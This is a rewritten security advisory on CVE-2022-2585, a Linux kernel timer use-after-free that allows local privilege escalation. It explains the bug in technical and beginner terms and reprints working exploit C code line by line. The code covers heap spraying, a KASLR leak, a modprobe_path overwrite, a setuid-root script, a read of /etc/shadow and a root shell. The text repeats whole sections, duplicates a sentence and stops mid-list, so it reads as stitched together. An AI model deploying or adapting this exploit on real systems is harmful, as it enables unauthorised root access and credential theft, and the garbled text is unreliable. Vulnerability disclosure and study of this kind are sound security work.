SSD Advisory – Linux CLOCK_THREAD_CPUTIME_ID LPE
A race condition in the Linux kernel's handling of CLOCK_THREAD_CPUTIME_ID timers allows a local user to cause a use-after-free and double free, which can be exploited to gain root privileges.
A vulnerability in the way Linux handles the CLOCKTHREADCPUTIMEID allows local attackers to reach a race condition and use this to elevate their privileges to root.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This write-up covers CVE-2022-2585, a local privilege escalation in the Linux kernel's POSIX CPU timer code. The affected feature is CLOCK_THREAD_CPUTIME_ID, a clock that measures the CPU time consumed by a single thread. A program can create a timer on this clock with timer_create, arm it with timer_settime, and the kernel will deliver a signal to the thread once it has burned the requested amount of CPU time. That is useful when a program wants to run something after a fixed slice of computation rather than after wall-clock time.
Internally, the kernel links the timer's struct k_itimer into a doubly-linked list held in struct posix_cputimers. On every timer interrupt a call chain of check_thread_timers->collect_posix_cputimers->collect_timerqueue walks that list, checks whether the thread has consumed enough time, and if so moves the timer onto a firing list. Timers on the firing list are then processed through posix_timer_event, which eventually sends the signal.
The bug is a race between that bookkeeping and execve. When a thread that owns a thread CPU timer calls execve, the kernel tries to clean up the process's timers with exit_itimers(me->signal);, which frees the timer objects in memory. It does not, however, remove the corresponding references from struct posix_cputimers. If the timer was already armed before execve, the kernel frees the timer while the doubly-linked list still points at it. When the timer later comes due, the kernel walks the list, finds the freed timer, puts it on the firing list and tries to trigger it: a use-after-free. The advisory describes the outcome as a double free of a pointer, allowing control over the outcome of the second free call and use of it to elevate privileges to root.
Setup
The exploit carries hard-coded offsets for three kernel releases:
5.15.0-37-generic
5.15.0-39-generic
5.15.0-40-generic
void setup_sandbox(void)
{
int real_uid = getuid();
int real_gid = getgid();
if (unshare(CLONE_NEWUSER | CLONE_NEWNET | CLONE_NEWNS) != 0)
error_out("unshare fails");
if (write_file("/proc/self/setgroups", "deny") < 0)
error_out("write_file(/proc/self/set_groups) fails");
if (write_file("/proc/self/uid_map", "0 %d 1n", real_uid) < 0)
error_out("write_file(/proc/self/uid_map) fails");
if (write_file("/proc/self/gid_map", "0 %d 1n", real_gid) < 0)
error_out("write_file(/proc/self/gid_map) fails");
}
Finding it
A thread CPU timer that is armed when execve runs is freed by exit_itimers(me->signal);, but the kernel forgets to clean up the references in struct posix_cputimers. The list therefore holds a dangling reference. The next timer interrupt that walks the list will treat the freed object as a live timer, move it to the firing list and attempt to fire it.
Exploitation
void *trigger_free(void *env_str)
{
timer_t timerid;
int ret = timer_create(CLOCK_THREAD_CPUTIME_ID, NULL, &timerid);
assert(ret == 0);
*stage = 1;
while(*stage != 2);
struct timespec tspec = {.tv_sec = 3, .tv_nsec = 0};
struct itimerspec ispec = { .it_interval = tspec, .it_value = tspec};
timer_settime(timerid, 0, &ispec, NULL);
// getchar();
// fd = memfd_create("exp", 0);
// assert(fd >= 0);
char *argv[] = {path, NULL};
char *env[] = {env_str, cpuid_env, NULL};
execve(path, argv, env);
return NULL;
}
Step 1: shape the slab and trigger the free
The leak routine sprays timers in three batches, starts the trigger_free thread, then deletes timers with different strides so that a chosen timer object is freed while its list entry remains:
void leak_func()
{
pthread_t tid;
ts_fence();
spray_timer(timerids1, SPRAY_NUM1);
pthread_create(&tid, NULL, trigger_free, (void *)"LEAK=1");
while(*stage != 1);
spray_timer(timerids2, SPRAY_NUM2);
spray_timer(timerids3, SPRAY_NUM3);
release_timer(timerids1, SPRAY_NUM1, 1);
release_timer(timerids2, SPRAY_NUM2, 1);
release_timer(timerids3, SPRAY_NUM3, 2);
//puts("Done");
//int c = getchar();
//printf("c : %#xn", c);
//defragment(0x100, 0x1000);
usleep(100*1000);
*stage = 2;
while(1);
}
Step 2: reclaim the freed slab page
void leak_child_func()
{
usleep(1000*100);
// tell the parent process that the slab page is freed
*shm_stage = 1;
// wait for the parent process to reclaim the page
while(*shm_stage != 2);
// trigger unlink by exiting the process (in fact, the unlink happens in wait)
puts("[!] Now trigger unlink in the child process!");
exit(0);
}
int pg_vec_spray(void *src_buf, u32 buf_size, u32 num)
{
if((buf_size & 0xfff) != 0) error_out("[pg_vec_spray] buf_size");
// remember to run everything in sandbox
int s = socket(AF_PACKET, SOCK_RAW|SOCK_CLOEXEC, htons(ETH_P_ALL));
if(s < 0) error_out("[pg_vec_spray] socket");
struct tpacket_req req;
req.tp_block_size = buf_size;
req.tp_block_nr = num;// spray times
req.tp_frame_size = buf_size;
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;
int ret = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if(ret < 0) error_out("[pg_vec_spray] setsockopt");
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ARP);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
memset(&sa, 0, sizeof(sa));
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_halen = ETH_ALEN;
void *addr = mmap(NULL, buf_size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON|MAP_POPULATE, -1, 0);
memcpy(addr, src_buf, buf_size);
for(int i=0; i<num; i++) {
ret = sendto(s, addr, buf_size, 0, (struct sockaddr *)&sa, sizeof(sa));
if(ret < 0) error_out("[pg_vec_spray] sendto");
}
return s;
}
It scans the mapped pages in 0x100 strides looking for a non-zero value at offset 15 of a candidate object, which it treats as a heap pointer, subtracting 0x78 to recover the object address.
Step 3: leak the message queue address
Step 4: hijack the timer and trap a CPU
The main exploitation pass forks a child running exp_func, waits for the slab page to be freed, and sprays a crafted page.
void *addr = umem_alloc(NULL, page_size);
*(u64 *)(ubuf_addr+0x130) = kbuf_addr+0x120;
for(int i=0; i<page_size/0x100; i++) {
u64 *obj_ptr = (u64 *)(addr-0x40+-2+i*0x100);
obj_ptr[10] = M_TS_LEN; // timer->it_requeue_pending
obj_ptr[11] = 0x000000012a05f200;
obj_ptr[14] = msg_addr-0x20; // timer->sigq
obj_ptr[16] = kbuf_addr + 0x120;
obj_ptr[17] = kbuf_addr + 0x100;
obj_ptr[18] = 0x000000012a061742;
obj_ptr[19] = kbuf_addr; // head
}
int s = pg_vec_spray(addr, page_size, PAGE_SPRAY_NUM);
*shm_stage = 2;
Step 5: find the corrupted message and leak KASLR
int search_msgqid()
{
int msgqid;
struct msqid_ds ds;
struct msginfo msginfo;
int maxind = msgctl(0, MSG_INFO, (struct msqid_ds *) &msginfo);
assert(maxind >= 0);
char buffer[0x2000];
int target_msgqid = -1;
// printf("check %d msgsn", maxind);
for(int i=0; i<maxind; i++) {
int ret;
msgqid = msgctl(i, MSG_STAT, &ds);
assert(msgqid >= 0);
for(int j=0; j<ds.msg_qnum; j++) {
ret = msgrcv(msgqid, buffer, sizeof(buffer), 0, MSG_NOERROR | IPC_NOWAIT | MSG_COPY);
assert(ret >= 0);
if(ret >= 0x1000 && !memcmp(buffer, "AAAAAAAA", 8)) {
target_msgqid = msgqid;
// hex_print(buffer, 0x100);
break;
}
msgrcv(msgqid, buffer, sizeof(buffer), 0, MSG_NOERROR | IPC_NOWAIT);
if(j == ds.msg_qnum-1) {
int ret = msgctl(msgqid, IPC_RMID, 0);
assert(ret == 0);
}
}
}
return target_msgqid;
}
A value whose low 12 bits match the known init_ipc_ns gives the KASLR slide and the kernel base.
Step 6: overwrite modprobe_path
*(u64 *)(ubuf_addr+0x130) = kbuf_addr+0x120;
timer_ptr[10] = 0x706d742f-1; // timer->it_requeue_pending => /tmp
timer_ptr[11] = 0x000000012a05f200;
timer_ptr[14] = kaslr_slide + modprobe_path - 0x38 + 1; // overwrirte modprobe_path+1 with /tmp => /sbin/modprobe becomes //tmp/modprobe
timer_ptr[15] = 0;
timer_ptr[16] = kbuf_addr + 0x120;
timer_ptr[17] = kbuf_addr + 0x100;
timer_ptr[18] = 0x000000012a061742*2;
timer_ptr[19] = kbuf_addr; // head
Step 7: get root
void get_root()
{
set_cpu(CPUID+1);
int fd = open("/proc/sys/kernel/modprobe", 0);
char buf[0x100];
while(1) {
lseek(fd, 0, SEEK_SET);
read(fd, buf, sizeof(buf));
if(!strncmp(buf, "//tmp/modprobe", 14)) break;
sleep(1);
}
puts("[+] Payload is written! /proc/sys/kernel/modprobe now points to /tmp/modprobe!");
system("echo 1 > /tmp/1; chmod +x /tmp/1; /tmp/1 2> /dev/null");
char *argv[] = {path, NULL};
char *env[] = {cpuid_env, NULL};
execve(path, argv, env);
}
void check_root()
{
// if we are root
if(open("/etc/shadow", 0) >= 0) {
setuid(0);
system("head -n 10 /etc/shadow");
system("/bin/bash");
exit(0);
}
// or if we can be root
int tmp_fd = open("/proc/sys/kernel/modprobe", 0);
char buf[0x2000];
memset(buf, 0, sizeof(buf));
read(tmp_fd, buf, sizeof(buf));
if(!strncmp(buf, "//tmp/modprobe", 14)) {
sprintf(buf, "echo '#!/bin/bashnchown root:root %s; chmod 04755 %s' > /tmp/modprobe; chmod +x /tmp/modprobe", path, path);
system(buf);
system("echo 1 > /tmp/1; chmod +x /tmp/1; /tmp/1 2> /dev/null");
char *argv[] = {path, NULL};
char *env[] = {cpuid_env, NULL};
execve(path, argv, env);
}
}
Root cause
exit_itimers(me->signal); frees the timer objects on execve but leaves their entries in the posix_cputimers doubly-linked list. The timer interrupt path later walks that list and treats the freed object as live, moving it to the firing list and firing it. Because the freed slab can be reallocated with attacker-controlled contents, the kernel operates on a fake struct k_itimer, which the exploit uses to corrupt an adjacent msg_msg size and later to write into modprobe_path. The advisory frames the primitive as a double free that allows control over the outcome of the second free call.
Impact
A local attacker can escalate to root. The exploit is tailored to specific kernel builds: the offsets cover Ubuntu 5.15.0-37-generic, 5.15.0-39-generic and 5.15.0-40-generic.: the offsets cover Ubuntu 5.15.0-37-generic, 5.15.0-39-generic and 5.15.0-40-generic. The page size used for the spray is 0x2000 when the machine has eight or more CPUs and 0x1000 otherwise.
Fix
The Linux Kernel team released a patch, referenced in the advisory at https://seclists.org/oss-sec/2022/q3/116.
Variants to test
- Other kernel versions with the same
exit_itimerspath: run the trigger and check whether the timer is still reachable afterexecve, for example by observing a signal from a timer that should have been destroyed. - Other POSIX clock types that share the
posix_cputimerslist, such as process CPU timers: arm one beforeexecveand see whether the list entry survives the cleanup. - Different
execvepaths, including re-executing the same binary with a different environment, to confirm the race window is not specific to the exploit's handshake. - Kernels with different
kmalloccache sizes: adjust the spray sizes and check whether the freed timer object can still be reclaimed with controlled data. - Systems where user namespaces are disabled: test whether the same primitive works without the sandbox, since the exploit uses the namespace mainly to obtain
CAP_NET_RAWfor the packet ring spray. - Other targets for the write primitive, such as
core_patternor a setuid binary path, to see whether the same fake-timer layout can redirect execution without relying onmodprobe_path.
A positive result in each case is a kernel crash, a controlled write, or a root shell obtained from an unprivileged local account.
What happened, in plain words
A security researcher found a bug in the Linux kernel, the core program that sits underneath everything else on a Linux computer and manages memory, processors and running programs. The bug lets an ordinary user, someone with no special rights, become the all-powerful root user. That is called a local privilege escalation, or LPE: "local" because the attacker already has an account on the machine, "privilege escalation" because they climb from ordinary user to administrator.
The bug lies in the posix CPU timer component of the Linux kernel, which handles a clock called CLOCK_THREAD_CPUTIME_ID. Think of a stopwatch that counts not seconds on the wall clock but the amount of actual processor work one thread has done. A thread is a single stream of instructions inside a program; a program can have several running at once. A program can ask the kernel to send it a signal, a small notification, once a thread has used a set amount of processor time. That is handy when you want something to happen after a fixed amount of computation rather than after a fixed amount of waiting.
The problem appears when a program replaces itself with another program, an operation called execve. At that moment the kernel tries to tidy up the stopwatches belonging to the process, but it forgets to clean up the references in struct posix_cputimers. The stopwatch object is thrown away, yet a list inside the kernel still points at where it used to be. Later the kernel follows that pointer and works on memory that has been freed. This class of bug is called a use-after-free: using something after it has been given back. The advisory also describes the result as a double free, meaning the same piece of memory gets freed twice, and says the attacker can control the outcome of the second free call.
The bug is tracked as CVE-2022-2585. CVE stands for Common Vulnerabilities and Exposures: a public catalogue where each security flaw gets a permanent identifier so people can talk about it unambiguously. The Linux kernel team released a patch, and the advisory links to the announcement of that patch.
An independent security researcher reported the issue to the SSD Secure Disclosure program during the TyphoonPWN 2022 event. The advisory does not name the researcher.
The feature, from zero
To follow the exploit you need a few ideas.
- Kernel: the privileged core of the operating system. It talks to the hardware, decides which program runs on which processor, and hands out memory. Programs ask the kernel for things through system calls, often shortened to syscalls: a program says "please create a timer for me" and the kernel does it on the program's behalf.
- Thread: one sequence of instructions being executed. A process (a running program) can contain several threads that share the same memory.
- CPU time versus wall-clock time: wall-clock time is what a clock on the wall shows. CPU time is how much actual processor work was spent. A program that waits for a network reply burns almost no CPU time; a program doing heavy arithmetic burns a lot.
- Timer: a request to the kernel to notify the program later. A timer on
CLOCK_THREAD_CPUTIME_IDfires after a thread has used a chosen amount of CPU time. The notification arrives as a signal, which is a small asynchronous message the kernel delivers to a process, a bit like a tap on the shoulder. timer_createandtimer_settime: two system calls.timer_createmakes a new timer and gives back a handle (atimer_t).timer_settimestarts it, or "arms" it, with a chosen interval.execve: the system call that replaces the current program with a different one. When a shell runs a command,execveis what actually loads the new program into the process.- Data structure and linked list: a way of organising data in memory. A doubly-linked list is a chain of items where each item knows both the item before it and the item after it, so the kernel can walk forwards or backwards.
- Slab and slab page: the kernel keeps memory in pools called caches, and hands out small chunks from larger blocks called slab pages. When an object is freed, its slot can be reused by a later allocation. Attackers exploit this by arranging for their own data to land in the slot of a freed object. That trick is called a heap spray: allocate many copies of your data so that one of them is very likely to occupy the target slot.
- Race condition: a bug that depends on timing, where two things happening at once produce a result neither would produce alone. Here the timer's bookkeeping and the
execvecleanup race against each other. - KASLR: Kernel Address Space Layout Randomisation. At boot the kernel is placed at a randomised address so an attacker cannot hard-code where kernel data lives. To use a kernel address, an exploit first has to leak one, that is, learn a real address from the running system and work out the random offset.
modprobe_path: a kernel setting holding the path of a helper program the kernel runs in certain situations. If an attacker can change that path to point at their own script, the kernel will run the script with full privileges. It is a classic target for turning a memory-corruption bug into root.- Namespace: a Linux feature that gives a process its own private view of part of the system, such as its own user IDs or network. The exploit uses namespaces to build a small sandbox where it holds extra capabilities (specific permissions) it would not otherwise have.
The bug in detail
A CLOCK_THREAD_CPUTIME_ID timer is used to measure how much CPU time one thread has consumed. Once timer_settime is called on such a timer, the timer is armed. The kernel then sends the program a signal after the thread has spent the requested interval of CPU time. That is useful when a program wants to do something after a specific amount of computation in a specific thread.
The kernel implements this by linking the timer's struct k_itimer data structure into a doubly-linked list held in struct posix_cputimers. Every time a timer interrupt is raised, a chain of functions runs: check_thread_timers->collect_posix_cputimers->collect_timerqueue. It checks whether the thread has consumed enough time. If it has, the timer expires, meaning it triggers, and is added to a firing list. All timers on the firing list are then processed through posix_timer_event, which eventually sends signals to the program.
Now the flaw. When a thread creates a thread CPU timer and then calls execve, the kernel tries to clean up all the timers on behalf of the process using exit_itimers(me->signal);. That frees all the timers associated with the process in memory. But it forgets to clean up the references in struct posix_cputimers. In other words, if the timer is already armed before execve, the kernel frees the timer mechanism while keeping a reference to it in the doubly-linked timer list. When the time arrives, the kernel walks the list, finds the timer, adds it to the firing list and tries to trigger it. That is the use-after-free.
The exploit, piece by piece
It carries hard-coded offsets for three Ubuntu kernel releases:
5.15.0-37-generic
5.15.0-39-generic
5.15.0-40-generic
Building a sandbox
void setup_sandbox(void)
{
int real_uid = getuid();
int real_gid = getgid();
if (unshare(CLONE_NEWUSER | CLONE_NEWNET | CLONE_NEWNS) != 0)
error_out("unshare fails");
if (write_file("/proc/self/setgroups", "deny") < 0)
error_out("write_file(/proc/self/set_groups) fails");
if (write_file("/proc/self/uid_map", "0 %d 1n", real_uid) < 0)
error_out("write_file(/proc/self/uid_map) fails");
if (write_file("/proc/self/gid_map", "0 %d 1n", real_gid) < 0)
error_out("write_file(/proc/self/gid_map) fails");
}
Line by line:
getuid()andgetgid()read the real user ID and group ID of the process, that is, who the attacker actually is on the machine.unshare(CLONE_NEWUSER | CLONE_NEWNET | CLONE_NEWNS)asks the kernel to put this process into new user, network and mount namespaces. Inside them the process looks like it has its own private machine.- Writing
denyto/proc/self/setgroupsstops the process from changing its group list, a step required before mapping group IDs. - Writing
0 %d 1nto/proc/self/uid_mapsays: inside the namespace, user ID 0 (root) corresponds to the attacker's real user ID outside. The same is done for the group ID in/proc/self/gid_map.
The repeating primitive
void *trigger_free(void *env_str)
{
timer_t timerid;
int ret = timer_create(CLOCK_THREAD_CPUTIME_ID, NULL, &timerid);
assert(ret == 0);
*stage = 1;
while(*stage != 2);
struct timespec tspec = {.tv_sec = 3, .tv_nsec = 0};
struct itimerspec ispec = { .it_interval = tspec, .it_value = tspec};
timer_settime(timerid, 0, &ispec, NULL);
// getchar();
// fd = memfd_create("exp", 0);
// assert(fd >= 0);
char *argv[] = {path, NULL};
char *env[] = {env_str, cpuid_env, NULL};
execve(path, argv, env);
return NULL;
}
Line by line:
timer_create(CLOCK_THREAD_CPUTIME_ID, NULL, &timerid)creates a timer on the thread CPU-time clock and stores its handle intimerid.*stage = 1;tells the parent that the timer exists.while(*stage != 2);then spins until the parent has finished its own timer spray. This handshake is what makes the timing reliable.struct timespec tspec = {.tv_sec = 3, .tv_nsec = 0};sets an interval of three seconds.struct itimerspec ispecuses it for both the first firing and the repeat interval.timer_settime(timerid, 0, &ispec, NULL)arms the timer.execve(path, argv, env)replaces the current program with the same binary, passing an environment variable (LEAK=1orEXP=1) that selects the child role. This is the call that triggers the buggy cleanup.
Step 1: shape the slab and trigger the free
The leak routine sprays timers in three batches, starts the trigger_free thread, then deletes timers with different strides so that a chosen timer object is freed while its list entry remains:
void leak_func()
{
pthread_t tid;
ts_fence();
spray_timer(timerids1, SPRAY_NUM1);
pthread_create(&tid, NULL, trigger_free, (void *)"LEAK=1");
while(*stage != 1);
spray_timer(timerids2, SPRAY_NUM2);
spray_timer(timerids3, SPRAY_NUM3);
release_timer(timerids1, SPRAY_NUM1, 1);
release_timer(timerids2, SPRAY_NUM2, 1);
release_timer(timerids3, SPRAY_NUM3, 2);
//puts("Done");
//int c = getchar();
//printf("c : %#xn", c);
//defragment(0x100, 0x1000);
usleep(100*1000);
*stage = 2;
while(1);
}
Line by line:
ts_fence()pins the thread to its current CPU and spins on the TSC (the processor's timestamp counter, a fast counter that ticks with the clock) until it detects a context switch. A context switch is the kernel pausing one thread and running another. Starting right after one means the spray begins at the start of a fresh time slice, giving it the maximum uninterrupted run.spray_timer(timerids1, SPRAY_NUM1)creates the first batch of timers.pthread_create(&tid, NULL, trigger_free, (void *)"LEAK=1")starts the child thread that will arm a timer and callexecve.while(*stage != 1);waits for that child to signal it has created its timer.- The second and third sprays fill more slots around the target.
release_timer(timerids1, SPRAY_NUM1, 1)and the next call free every timer in the first two batches.release_timer(timerids3, SPRAY_NUM3, 2)frees every second timer in the third batch, leaving holes. This shaping is what makes the freed timer's slot predictable.usleep(100*1000)waits 100 milliseconds, then*stage = 2releases the child to arm its timer and callexecve.while(1);keeps the thread alive.
Step 2: reclaim the freed slab page
void leak_child_func()
{
usleep(1000*100);
// tell the parent process that the slab page is freed
*shm_stage = 1;
// wait for the parent process to reclaim the page
while(*shm_stage != 2);
// trigger unlink by exiting the process (in fact, the unlink happens in wait)
puts("[!] Now trigger unlink in the child process!");
exit(0);
}
Line by line:
usleep(1000*100)waits 100 milliseconds so theexecvecleanup has time to free the timer.*shm_stage = 1tells the parent, through the shared memory file, that the slab page is free.while(*shm_stage != 2);waits until the parent has reclaimed the page with its spray.exit(0)ends the child. Exiting makes the kernel remove the child's list entry, which is the unlink that touches the dangling pointer.
That function creates an AF_PACKET raw socket, configures a PACKET_RX_RING with the given block size and count, and sends the payload to loopback so the ring buffers are filled with attacker data:
int pg_vec_spray(void *src_buf, u32 buf_size, u32 num)
{
if((buf_size & 0xfff) != 0) error_out("[pg_vec_spray] buf_size");
// remember to run everything in sandbox
int s = socket(AF_PACKET, SOCK_RAW|SOCK_CLOEXEC, htons(ETH_P_ALL));
if(s < 0) error_out("[pg_vec_spray] socket");
struct tpacket_req req;
req.tp_block_size = buf_size;
req.tp_block_nr = num;// spray times
req.tp_frame_size = buf_size;
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;
int ret = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if(ret < 0) error_out("[pg_vec_spray] setsockopt");
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ARP);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
memset(&sa, 0, sizeof(sa));
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_halen = ETH_ALEN;
void *addr = mmap(NULL, buf_size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON|MAP_POPULATE, -1, 0);
memcpy(addr, src_buf, buf_size);
for(int i=0; i<num; i++) {
ret = sendto(s, addr, buf_size, 0, (struct sockaddr *)&sa, sizeof(sa));
if(ret < 0) error_out("[pg_vec_spray] sendto");
}
return s;
}
Line by line:
- The first check rejects a buffer size that is not a multiple of
0x1000, the usual page size, because the ring works in whole pages. socket(AF_PACKET, SOCK_RAW|SOCK_CLOEXEC, htons(ETH_P_ALL))opens a raw packet socket, which can see and send network frames directly. This needsCAP_NET_RAW, which is why the sandbox exists.struct tpacket_req reqdescribes the ring:tp_block_sizeis the size of each block,tp_block_nris how many blocks,tp_frame_sizeis the frame size andtp_frame_nris computed from the two.setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req))asks the kernel to allocate the ring buffers. These buffers are kernel memory the attacker can later map and read.- The
sockaddr_llstructure describes where to send: the loopback interfacelo, found withif_nametoindex("lo"). mmapallocates a user page andmemcpycopies the attacker's payload into it.- The loop calls
sendtonumtimes, sending the payload to loopback so the ring buffers are filled with attacker data.
It scans the mapped pages in 0x100 strides looking for a non-zero value at offset 15 of a candidate object, which it treats as a heap pointer, subtracting 0x78 to recover the object address.
Step 3: leak the message queue address
A System V message queue is an old inter-process communication facility: processes put messages into a queue and read them back. The kernel stores each message in a msg_msg structure, which is a convenient object for heap sprays because its size and contents are partly attacker-controlled.
Step 4: hijack the timer and trap a CPU
The main exploitation pass forks a child running exp_func, waits for the slab page to be freed, and sprays a crafted page.
void *addr = umem_alloc(NULL, page_size);
*(u64 *)(ubuf_addr+0x130) = kbuf_addr+0x120;
for(int i=0; i<page_size/0x100; i++) {
u64 *obj_ptr = (u64 *)(addr-0x40+-2+i*0x100);
obj_ptr[10] = M_TS_LEN; // timer->it_requeue_pending
obj_ptr[11] = 0x000000012a05f200;
obj_ptr[14] = msg_addr-0x20; // timer->sigq
obj_ptr[16] = kbuf_addr + 0x120;
obj_ptr[17] = kbuf_addr + 0x100;
obj_ptr[18] = 0x000000012a061742;
obj_ptr[19] = kbuf_addr; // head
}
int s = pg_vec_spray(addr, page_size, PAGE_SPRAY_NUM);
*shm_stage = 2;
Line by line:
umem_alloc(NULL, page_size)allocates one page of user memory to hold the fake timer layout.*(u64 *)(ubuf_addr+0x130) = kbuf_addr+0x120;stores a kernel pointer at a known offset in the user buffer, used later to keep the kernel from crashing.- The loop walks the page in
0x100steps, writing fake fields into each candidate slot. pg_vec_spray(addr, page_size, PAGE_SPRAY_NUM)sprays the crafted page into the kernel ring buffers.*shm_stage = 2releases the child.
Step 5: find the corrupted message and leak KASLR
int search_msgqid()
{
int msgqid;
struct msqid_ds ds;
struct msginfo msginfo;
int maxind = msgctl(0, MSG_INFO, (struct msqid_ds *) &msginfo);
assert(maxind >= 0);
char buffer[0x2000];
int target_msgqid = -1;
// printf("check %d msgsn", maxind);
for(int i=0; i<maxind; i++) {
int ret;
msgqid = msgctl(i, MSG_STAT, &ds);
assert(msgqid >= 0);
for(int j=0; j<ds.msg_qnum; j++) {
ret = msgrcv(msgqid, buffer, sizeof(buffer), 0, MSG_NOERROR | IPC_NOWAIT | MSG_COPY);
assert(ret >= 0);
if(ret >= 0x1000 && !memcmp(buffer, "AAAAAAAA", 8)) {
target_msgqid = msgqid;
// hex_print(buffer, 0x100);
break;
}
msgrcv(msgqid, buffer, sizeof(buffer), 0, MSG_NOERROR | IPC_NOWAIT);
if(j == ds.msg_qnum-1) {
int ret = msgctl(msgqid, IPC_RMID, 0);
assert(ret == 0);
}
}
}
return target_msgqid;
}
Line by line:
msgctl(0, MSG_INFO, ...)asks the kernel how many message queue identifiers exist, storing the answer inmaxind.- The outer loop visits each queue.
msgctl(i, MSG_STAT, &ds)fillsdswith information about queuei, includingmsg_qnum, the number of messages in it. - The inner loop reads each message with
msgrcv(..., MSG_COPY).MSG_COPYreads a copy without removing the message, which is important because the exploit does not want to destroy the evidence. - If the returned length is at least
0x1000and the first eight bytes areAAAAAAAA, this is the corrupted message: its size field was enlarged by the fake timer, so it now reads far beyond its real contents. The queue ID is recorded. - Otherwise the message is consumed normally with
msgrcvwithoutMSG_COPY, and when the last message of a queue has been read the queue is removed withmsgctl(msgqid, IPC_RMID, 0).
A value whose low 12 bits match the known init_ipc_ns gives the KASLR slide and the kernel base.
Step 6: overwrite modprobe_path
*(u64 *)(ubuf_addr+0x130) = kbuf_addr+0x120;
timer_ptr[10] = 0x706d742f-1; // timer->it_requeue_pending => /tmp
timer_ptr[11] = 0x000000012a05f200;
timer_ptr[14] = kaslr_slide + modprobe_path - 0x38 + 1; // overwrirte modprobe_path+1 with /tmp => /sbin/modprobe becomes //tmp/modprobe
timer_ptr[15] = 0;
timer_ptr[16] = kbuf_addr + 0x120;
timer_ptr[17] = kbuf_addr + 0x100;
timer_ptr[18] = 0x000000012a061742*2;
timer_ptr[19] = kbuf_addr; // head
Line by line:
- The pointer at
ubuf_addr+0x130is restored so the kernel has a valid value to work with. timer_ptr[10] = 0x706d742f-1stores a value derived from/tmpin little-endian, the byte order x86 processors use. The comment notes it lands intimer->it_requeue_pending.timer_ptr[14] = kaslr_slide + modprobe_path - 0x38 + 1points the fake signal queue at one byte past the start ofmodprobe_path, so the write turns/sbin/modprobeinto//tmp/modprobe.- The remaining fields keep the fake timer consistent and on the list the kernel walks.
Step 7: get root
void get_root()
{
set_cpu(CPUID+1);
int fd = open("/proc/sys/kernel/modprobe", 0);
char buf[0x100];
while(1) {
lseek(fd, 0, SEEK_SET);
read(fd, buf, sizeof(buf));
if(!strncmp(buf, "//tmp/modprobe", 14)) break;
sleep(1);
}
puts("[+] Payload is written! /proc/sys/kernel/modprobe now points to /tmp/modprobe!");
system("echo 1 > /tmp/1; chmod +x /tmp/1; /tmp/1 2> /dev/null");
char *argv[] = {path, NULL};
char *env[] = {cpuid_env, NULL};
execve(path, argv, env);
}
Line by line:
set_cpu(CPUID+1)pins the helper to a different CPU from the one that will be trapped.open("/proc/sys/kernel/modprobe", 0)opens the kernel setting that holds the modprobe path./procis a virtual filesystem through which the kernel exposes settings as files.- The loop rewinds the file with
lseek, reads it, and checks whether it starts with//tmp/modprobe. If not, it sleeps a second and tries again. - Once the path has been changed,
system(...)runs a shell command that creates/tmp/1, makes it executable and runs it./tmp/1contains bytes that are not a valid program format, which makes the kernel call its modprobe helper, now pointing at the attacker's script. execve(path, argv, env)re-executes the exploit binary so it can detect the new privileges.
void check_root()
{
// if we are root
if(open("/etc/shadow", 0) >= 0) {
setuid(0);
system("head -n 10 /etc/shadow");
system("/bin/bash");
exit(0);
}
// or if we can be root
int tmp_fd = open("/proc/sys/kernel/modprobe", 0);
char buf[0x2000];
memset(buf, 0, sizeof(buf));
read(tmp_fd, buf, sizeof(buf));
if(!strncmp(buf, "//tmp/modprobe", 14)) {
sprintf(buf, "echo '#!/bin/bashnchown root:root %s; chmod 04755 %s' > /tmp/modprobe; chmod +x /tmp/modprobe", path, path);
system(buf);
system("echo 1 > /tmp/1; chmod +x /tmp/1; /tmp/1 2> /dev/null");
char *argv[] = {path, NULL};
char *env[] = {cpuid_env, NULL};
execve(path, argv, env);
}
}
Line by line:
open("/etc/shadow", 0)tries to open the file that holds password hashes, which only root may read. If it succeeds, the process is already root.setuid(0)makes the process root,system("head -n 10 /etc/shadow")prints the first ten lines of the file as proof, andsystem("/bin/bash")starts a shell.- If the process is not root yet, it reads
/proc/sys/kernel/modprobeand checks whether it starts with//tmp/modprobe. - If it does,
sprintfbuilds a shell command that writes a script to/tmp/modprobe. The script makes the exploit binary owned by root and setuid, meaning it runs with root's rights even when started by an ordinary user.chmod 04755sets those permissions. system(buf)writes the script, and the nextsystemtriggers the kernel helper again.execvere-executes the exploit, which now finds it can open/etc/shadowand takes the root path above.
userfaultfd is a kernel feature that lets a program handle its own page faults, the events that happen when a program touches memory that is not yet loaded; the exploit uses it to pause the kernel at a precise moment.
Root cause
exit_itimers(me->signal); frees the timer objects on execve but leaves their entries in the posix_cputimers doubly-linked list. The timer interrupt path later walks that list and treats the freed object as live, moving it to the firing list and firing it. Because the freed slab can be reallocated with attacker-controlled contents, the kernel operates on a fake struct k_itimer, which the exploit uses to corrupt an adjacent msg_msg size and later to write into modprobe_path. The advisory frames the primitive as a double free that allows control over the outcome of the second free call.
Impact
A local attacker can escalate to root. The exploit is tailored to specific kernel builds: the offsets cover Ubuntu 5.15.0-37-generic, 5.15.0-39-generic and 5.15.0-40-generic.: the offsets cover Ubuntu 5.15.0-37-generic, 5.15.0-39-generic and 5.15.0-40-generic. The page size used for the spray is 0x2000 when the machine has eight or more CPUs and 0x1000 otherwise.
Fix
The Linux Kernel team released a patch, referenced in the advisory at https://seclists.org/oss-sec/2022/q3/116.
Variants to test
- Other kernel versions with the same
